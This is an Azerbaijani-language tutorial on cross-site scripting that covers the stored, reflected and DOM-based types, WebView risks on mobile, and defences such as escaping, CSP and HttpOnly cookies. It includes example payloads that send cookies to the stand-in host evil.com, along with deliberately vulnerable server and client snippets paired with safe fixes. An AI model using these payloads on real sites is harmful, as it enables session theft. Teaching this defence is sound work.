XSS — bu nədir, hücum növləri və müdafiə üsulları

XSS nədir?

XSS (Cross-Site Scripting) — təcavüzkara web səhifəyə JavaScript kodu yerləşdirməyə imkan verən zəiflikdir, daha sonra bu kod qurbanın brauzerində icra olunur. Brauzer səhifəni etibarlı saytdan yükləyir və yerləşdirilmiş skripti saytın qanuni kodu ilə eyni səlahiyyətlərlə icra edir. Bu, təcavüzkara cookie, session storage, səhifənin DOM ağacına giriş və qurban adından sorğular göndərmək imkanı verir. XSS zəiflikləri tətbiq istifadəçi məlumatlarını HTML səhifəsinə düzgün escapelenmədən və ya validedilmədən daxil etdikdə yaranır.

XSS-in tarixi və aktuallığı

Cross-Site Scripting termini ilk dəfə 2000-ci ildə Microsoft Təhlükəsizlik Bülletenində ortaya çıxmışdır. Son 25 ildə XSS aktuallığını itirməmişdir: HackerOne (2025) məlumatlarına görə, XSS platformada qeydə alınan bütün zəifliklərin təxminən 22%-ni təşkil edir. XSS-in davamlılığının səbəbi istifadəçi məlumatlarının bütün giriş nöqtələrinə nəzarətin mürəkkəbliyidir. Hər hansı daxiletmə sahəsi, URL parametri, HTTP sorğu başlığı və ya fayl adı, məlumatlar emal edilmədən HTML kodunda əks olunarsa, hücum vektoruna çevrilə bilər.

XSS hansı zərər vura bilər?

XSS hücumları sessiya cookie-lərinin oğurlanmasına səbəb ola bilər ki, bu da təcavüzkara şifrəsiz qurbanın hesabına daxil olmağa imkan verir. Digər nəticələr: fişinq saytlarına yönləndirmə, səhifə məzmununun dəyişdirilməsi, şəxsi məlumatların oğurlanması, zərərli proqram təminatının quraşdırılması (drive-by download). 2023-cü ildə Salesforce Community Cloud platformasına XSS vasitəsilə edilən hücum minlərlə korporativ müştərinin məlumatlarına təsir göstərərək, hətta böyük platformaların belə bu zəiflikdən qorunmadığını nümayiş etdirdi.

XSS hücumlarının növləri

XSS təsnifatı hücumları zərərli kodun çatdırılma üsuluna görə üç əsas növə ayırır. Hər növ fərqli müdafiə yanaşması tələb edir: Stored XSS verilənlər bazasından çıxışın escapelenməsi ilə, Reflected — URL parametrlərinin escapelenməsi ilə, DOM-based — DOM-API ilə təhlükəsiz işləmə ilə bloklanır. Fərqi başa düşmək effektiv təhlükəsizlik strategiyasının əsasıdır.

Stored XSS (daimi)

Ən təhlükəli XSS növü. Təcavüzkar skripti serverin verilənlər bazasında saxladığı və hər səhifə yüklənməsində göstərdiyi məlumatlara yerləşdirir. Tipik vektor — şərh sahəsi: təcavüzkar <script>document.location='https://evil.com/?c='+document.cookie</script> ilə şərh dərc edir. Bu şərhi olan səhifəni yükləyən hər bir istifadəçi öz cookie-lərini təcavüzkara göndərir. Stored XSS qurbandan səhifəni ziyarət etməkdən başqa heç bir hərəkət tələb etmir — bu onu xüsusilə sosial şəbəkələr, forumlar və bloqlar üçün təhlükəli edir.

Reflected XSS (əks olunmuş)

Zərərli skript HTTP sorğusunda (adətən URL parametrində) ötürülür və dərhal server tərəfindən cavabda əks olunur. Təcavüzkar https://example.com/search?q=<script>...</script> şəklində link yaradır və onu fişinq, sosial media və ya e-poçt vasitəsilə yayır. Linkə klikləyən qurban, daxil edilmiş axtarış sorğusunun (skriptin) escapelenmədən göstərildiyi səhifəni alır. Reflected XSS sosial mühəndislik tələb edir — qurban linkə klikləməlidir, bu riski azaldır, lakin aradan qaldırmır.

DOM-based XSS

Stored və Reflected-dən fərqli olaraq, DOM-based XSS serverə məlumat göndərilməsini tələb etmir. Zəiflik klient JavaScript URL-dən, document.referrer, postMessage və ya localStorage-dan istifadəçi məlumatlarını təhlükəsiz emal etmədən DOM-a daxil etdikdə yaranır. Məsələn, document.getElementById('output').innerHTML = location.hash.substring(1) kodu URL fraqmentindən (#<img onerror='...'>) istənilən HTML və skriptləri icra edir. DOM-based XSS ən çətin aşkarlanandır, çünki server zərərli payloadu heç vaxt qəbul etmir — o tamamilə klient tərəfində işlənir.

// DOM-based XSS nümunəsi (ZƏİF KOD)
// Əgər userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — təhlükəli: xam HTML daxil edir
document.write('<div>' + userInput + '</div>');

// TƏHLÜKƏSİZ ALTERNATİV — textContent istifadə edin
document.getElementById('output').textContent = userInput;

XSS hücumu necə işləyir?

XSS hücumu vebin əsas xüsusiyyətindən istifadə edir: brauzer etibarlı domendən alınan JavaScript-i icra edir. Təcavüzkar öz kodunu serverin HTML cavabına yerləşdirmək yolunu taparsa, brauzer onu eyni səlahiyyətlərlə qanuni kod kimi icra edir. Hücum üç mərhələdən keçir: zərərli kodun məzmuna yerləşdirilməsi, məzmunun qurbanın brauzerinə çatdırılması və DOM, cookie və storage-ə girişlə kodun icrası.

Yerləşdirmə mərhələsi

Təcavüzkar giriş nöqtəsi tapır — dəyəri serverin escapelenmədən HTML cavabına daxil etdiyi sahə, URL parametri və ya başlıq. Tipik giriş nöqtələri: axtarış sətirləri, şərh sahələri, istifadəçi adı, avatar URL, cookie faylları, HTTP başlıqları (User-Agent, Referer). Müasir freymvorklar (React, Angular, Vue) avtomatik olaraq çıxışı escapelyir, lakin proqramçılar dangerouslySetInnerHTML, bypassSecurityTrustHtml və ya v-html vasitəsilə escapelenməni söndürə bilərlər.

Çatdırılma mərhələsi

Reflected XSS üçün təcavüzkar zərərli linki yayır. Stored XSS üçün məzmunu dərc etmək kifayətdir və səhifənin hər bir ziyarətçisi qurban olur. DOM-based XSS müəyyən URL fraqmenti ilə səhifə yükləndikdə aktivləşir. Hər üç mərhələ avtomatik icra oluna bilər: əgər XSS reklam bannerində (üçüncü tərəf məzmunu) aşkarlanarsa, banner söndürülənə qədər saytın bütün istifadəçilərinə təsir edər.

// Axtarışda Reflected XSS nümunəsi (ZƏİF BACKEND)
// Q parametrini escapelenmək əvəzinə, server onu HTML-ə daxil edir

// Express.js — zəif işləyici:
app.get('/search', (req, res) => {
    const query = req.query.q; // istifadəçi girişi
    res.send(`<h1>Results for: ${query}</h1>`);
});

// TƏHLÜKƏSİZ VERSİYA — encodeURI və ya şablon mühərriki ilə escapelenmə:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

Mobil tətbiqlərdə XSS

Mobil tətbiqlər də XSS hücumlarına məruz qalır, baxmayaraq ki, web saytlardan daha az dərəcədə. Əsas vektor WebView və hibrid freymvorklardır (Cordova, Capacitor, React Native WebView ilə). Tətbiq WebView-də web məzmun yükləyirsə — xüsusilə istifadəçi məzmunu (HTML-e-poçt, məqalələr, mesajlar) — XSS zəifliyi JavaScript körpüsü vasitəsilə yerli funksiyalara girişlə tətbiq daxilində JavaScript-in icrasına səbəb ola bilər.

Android WebView-də XSS

Android WebView standart olaraq JavaScript-i icra edir. Tətbiq HTML sətrini loadDataWithBaseURL() vasitəsilə yükləyirsə və ya istifadəçi məzmununu göstərirsə, XSS hücumu təcavüzkara JavaScript interfeysinə (addJavascriptInterface) giriş verə bilər. Google API < 17 üçün @JavascriptInterface istifadəsini qadağan etmişdir, lakin köhnə tətbiqlərdə legacy kod hələ də mövcuddur. Müdafiə: WebView-də JavaScript-i lazım deyilsə söndürün və təhlükəsiz gəzintidən istifadə edin.

React Native və Flutter-də XSS

React Native UI üçün WebView istifadə etmir — komponentlər yerli görünüşlərdə render olunur. Lakin react-native-webview və ya rich-text komponentləri vasitəsilə HTML göstərildikdə XSS riski qayıdır. Flutter öz render mühərrikindən (Skia) istifadə edir və HTML vidjetlərində JavaScript-i dəstəkləmir (flutter_html script teqlərini icra etmir), lakin WebView plaginləri (webview_flutter) yerli WebView-lər kimi zəifdir. Ən yaxşı təcrübə — WebView-ə heç vaxt yoxlanılmamış HTML ötürməyin.

• JavaScript-i söndürün WebView-də, məzmun interaktivlik tələb etmirsə
• CSP başlıqlarından istifadə edin WebView-də skript mənbələrini məhdudlaşdırmaq üçün
• HTML-i sanitisə edin WebView-ə yükləməzdən əvvəl: script teqlərini və hadisə idarəedicilərini silin
• addJavascriptInterface istifadə etməyin Android-də daxil olan məlumatların ciddi yoxlanılması olmadan

// Android-də WebView-in təhlükəsiz konfiqurasiyası
val webView = findViewById<WebView>(R.id.webview)

// JavaScript-i söndürürük, interaktivlik lazım deyilsə
webView.settings.javaScriptEnabled = false

// HTML-i yükləmədən əvvəl sanitisə edirik
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS-in qarşısının alınması üsulları

XSS-dən qorunma üç prinsipə əsaslanır: istifadəçi girişinə etibar etmə, çıxışdan əvvəl escape et, Content Security Policy istifadə et. Çıxışın escapelenməsi (output encoding) — ən vacib üsul: istifadəçidən alınan bütün məlumatlar HTML, JavaScript, CSS və ya URL-ə daxil edilməzdən əvvəl escapelenməlidir. Müasir şablon mühərrikləri (Twig, Handlebars, JSX, Blade) bunu avtomatik edir, əgər proqramçı xüsusi üsullarla escapelenməni söndürməzsə.

Kontekstual escapelenmə

Escapelenmə məlumatın daxil edilmə kontekstindən asılıdır. HTML kontekstində <, >, &, dırnaq işarələri escapelenir. JavaScript kontekstində əks dırnaqlar, , </script> escapelenir. CSS kontekstində — idarəetmə simvolları. URL kontekstində — URL kodlaşdırması. Kontekst səhvi — məsələn, HTML escapelenmiş sətrin onclick atributuna daxil edilməsi — XSS-dən qorumur, çünki onclick JavaScript kontekstində icra olunur və fərqli escapelenmə tələb edir.

Content Security Policy (CSP)

CSP — brauzerin skriptləri, stilləri və digər resursları yükləyə biləcəyi mənbələri məhdudlaşdıran HTTP başlığıdır. Ciddi CSP (unsafe-inline, unsafe-eval olmadan) XSS vektorları da daxil olmaqla istənilən inline-skriptlərin icrasını bloklayır. Google Security Blog (2025) məlumatlarına görə, CSP olan saytlar XSS hücumlarının 95%-ni bloklayır. Nümunə: Content-Security-Policy: default-src 'self'; script-src 'self' istənilən xarici və inline-skriptləri qadağan edir. CSP eyni domendən skript yüklənərsə Stored XSS-dən qorumur, lakin bu təcavüzkardan əlavə səy tələb edir.

HttpOnly və Secure cookie

Cookie üçün HttpOnly bayrağının qoyulması onlara JavaScript vasitəsilə (document.cookie) girişin qarşısını alır ki, bu da XSS vasitəsilə sessiya cookie-lərinin oğurlanmasını bloklayır. Secure bayrağı cookie-nin yalnız HTTPS vasitəsilə ötürülməsinə zəmanət verir. HttpOnly + Secure + SameSite=Lax kombinasiyası XSS vasitəsilə sessiya cookie-lərinin oğurlanmasını praktiki olaraq qeyri-mümkün edir. Bununla belə, XSS hələ də istifadəçi adından hərəkətlər edə bilər (məsələn, sorğular göndərə bilər), ona görə HttpOnly panacea deyil, kompleks müdafiənin bir hissəsidir.

XSS aşkarlama alətləri

XSS üçün müntəzəm test etmək təhlükəsiz inkişafın CI/CD pipeline-nin məcburi hissəsidir. Avtomatlaşdırılmış skanerlər XSS zəifliklərinin 80%-ə qədərini tapır, qalanları əl ilə pentest tələb edir. Ən yaxşı yanaşma SAST analizi (statik), DAST skaneri (dinamik) və istifadəçi məlumatlarının giriş nöqtələrinə diqqət yetirən kod nəzərdən keçirməsinin kombinasiyasıdır.

• OWASP ZAP — pulsuz DAST skaneri, web tətbiqlərdə XSS-i avtomatik tapır
• Burp Suite Professional — Active Scan və Intruder ilə XSS üçün qabaqcıl alət
• XSStrike — payloadların yaradılması ilə XSS üçün ixtisaslaşmış skaner
• ESLint-plugin-security — təhlükəli nümunələr üçün React/JSX-in statik analizi
• Google Observatory — CSP başlıqlarının və XSS ilə əlaqəli konfiqurasiyaların yoxlanılması

Mobil tətbiqlər üçün XSS testi WebView analizini əhatə edir: JavaScript interfeyslərinin yoxlanılması, URL sxemlərinin işlənməsi və HTML-in loadDataWithBaseURL-ə ötürülməsi. Hibrid tətbiqlərdə postMessage işlənməsini və JavaScript körpüsü vasitəsilə hansı məlumatların ötürüldüyünü yoxlamaq tövsiyə olunur. Mobil tətbiq trafikini ələ keçirmək və dəyişdirmək üçün proxili (Burp Suite) emulyatordan istifadə edin.